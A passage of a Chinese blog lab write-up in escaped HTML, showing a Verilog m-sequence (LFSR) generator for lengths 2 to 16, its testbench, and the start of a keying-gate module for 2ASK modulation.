href=\"http://http//blog.ksfu.top/posts/5f6b/#3-m%E5%BA%8F%E5%88%97%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97\" class=\"headerlink\" title=\"3.m序列产生模块\"\u003e\u003c/a\u003e3.m序列产生模块\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_45015947/article/details/89891757\"\u003em序列产生原理及其性质_Angelo_pj的博客-CSDN博客_m序列\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/377685193\"\u003e【verilog杂谈(一)】 2-16位长度的m序列发生器 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e要求:按原理2.3节设计m序列产生模块,要求产生不同长度的m序列。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e代码根据实验要求修改自参考链接,可以产生2~16位的m序列。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emxulie.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e mxulie#\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// parameter range from 2 to 16\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e m_sequence \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// shift reg\u003c/span\u003e \u003cspan class=\"token function\"\u003ecase\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e9\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edefault\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendcase\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e//~ `New testbench\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_mxulie\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// M_series Parameters\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e M_len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Inputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Outputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk\u003cspan class=\"token operator\"\u003e=~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emxulie #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elen \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e M_len \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emxulie_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003em_sequence \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_sequence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/m%E5%BA%8F%E5%88%97.png\"/\u003e\u003ch3 id=\"4-键控开关\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#4-%E9%94%AE%E6%8E%A7%E5%BC%80%E5%85%B3\" class=\"headerlink\" title=\"4.键控开关\"\u003e\u003c/a\u003e4.键控开关\u003c/h3\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E9%94%AE%E6%8E%A7%E5%BC%80%E5%85%B3.png\" style=\"zoom:50%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e键控开关示意图图上图所示,其中data[7:0]端输入载波信号,gate端输入基带码元,当gate信号为1时,载波信号通过,如果gate信号为0时,载波信号不能通过。模块的输出端q[7:0]输出2ASK已调信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003ccode\u003elpm_gate.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003elpm_gate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e gate\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan 